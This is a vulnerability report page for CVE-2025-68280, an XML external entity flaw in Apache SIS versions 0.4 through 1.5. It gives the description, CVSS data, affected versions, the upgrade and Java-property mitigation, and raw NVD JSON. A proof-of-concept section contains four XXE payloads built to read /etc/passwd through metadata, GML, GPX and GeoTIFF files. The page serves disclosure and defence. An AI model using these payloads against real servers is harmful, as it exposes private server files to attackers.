Security Vulnerability Report
中文
CVE-2025-68280 CVSS 6.5 MEDIUM

CVE-2025-68280

Published: 2026-01-05 14:15:53
Last Modified: 2026-01-26 15:02:20

Description

Improper Restriction of XML External Entity Reference vulnerability in Apache SIS. It is possible to write XML files in such a way that, when parsed by Apache SIS, an XML file reveals to the attacker the content of a local file on the server running Apache SIS. This vulnerability impacts the following SIS services: * Reading of GeoTIFF files having the GEO_METADATA tag defined by the Defense Geospatial Information Working Group (DGIWG). * Parsing of ISO 19115 metadata in XML format. * Parsing of Coordinate Reference Systems defined in the GML format. * Parsing of files in GPS Exchange Format (GPX). This issue affects Apache SIS from versions 0.4 through 1.5 inclusive. Users are recommended to upgrade to version 1.6, which will fix the issue. In the meantime, the security vulnerability can be avoided by launching Java with the javax.xml.accessExternalDTD system property sets to a comma-separated list of authorized protocols. For example: java -Djavax.xml.accessExternalDTD="" ...

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:spatial_information_system:*:*:*:*:*:*:*:* - VULNERABLE
Apache SIS 0.4
Apache SIS 0.5
Apache SIS 0.6
Apache SIS 0.7
Apache SIS 0.8
Apache SIS 1.0
Apache SIS 1.1
Apache SIS 1.2
Apache SIS 1.3
Apache SIS 1.4
Apache SIS 1.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-68280: Apache SIS XXE Vulnerability --> <!-- Target: Read local file /etc/passwd via malicious XML --> <!-- Option 1: ISO 19115 XML Metadata XXE --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE metadata [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <metadata> <identification> <title>&xxe;</title> </identification> </metadata> <!-- Option 2: GML Coordinate Reference System XXE --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE gml:CoordinateReferenceSystem [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <gml:CoordinateReferenceSystem gml:id="CRS"> <gml:description>&xxe;</gml:description> </gml:CoordinateReferenceSystem> <!-- Option 3: GPX File XXE --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE gpx [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <gpx version="1.1"> <metadata> <name>&xxe;</name> </metadata> </gpx> <!-- Option 4: GeoTIFF GEO_METADATA tag XXE (via XML wrapper) --> <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE geo_metadata [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <GeoMetadata> <Dataset_Identification> <title>&xxe;</title> </Dataset_Identification> </GeoMetadata>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68280", "sourceIdentifier": "[email protected]", "published": "2026-01-05T14:15:53.490", "lastModified": "2026-01-26T15:02:19.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Restriction of XML External Entity Reference vulnerability in Apache SIS.\n\n\n\nIt is possible to write XML files in such a way that, when parsed by Apache SIS, an XML file reveals to the attacker the content of a local file on the server running Apache SIS. This vulnerability impacts the following SIS services:\n\n\n\n\n * Reading of GeoTIFF files having the GEO_METADATA tag defined by the Defense Geospatial Information Working Group (DGIWG).\n\n * Parsing of ISO 19115 metadata in XML format.\n\n * Parsing of Coordinate Reference Systems defined in the GML format.\n\n * Parsing of files in GPS Exchange Format (GPX).\n\n\n\n\n\nThis issue affects Apache SIS from versions 0.4 through 1.5 inclusive. Users are recommended to upgrade to version 1.6, which will fix the issue. In the meantime, the security vulnerability can be avoided by launching Java with the javax.xml.accessExternalDTD system property sets to a comma-separated list of authorized protocols. For example:\n\n\n\njava -Djavax.xml.accessExternalDTD=\"\" ..."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-611"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:spatial_information_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "0.4", "versionEndIncluding": "1.5", "matchCriteriaId": "2300667C-6062-4598-AB98-245C74796E1E"}]}]}], "references": [{"url": "https://lists.apache.org/thread/s4ggy3zbtrrn93glgo2vn52lgcxk4bp4", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/05/11", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/01/05/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}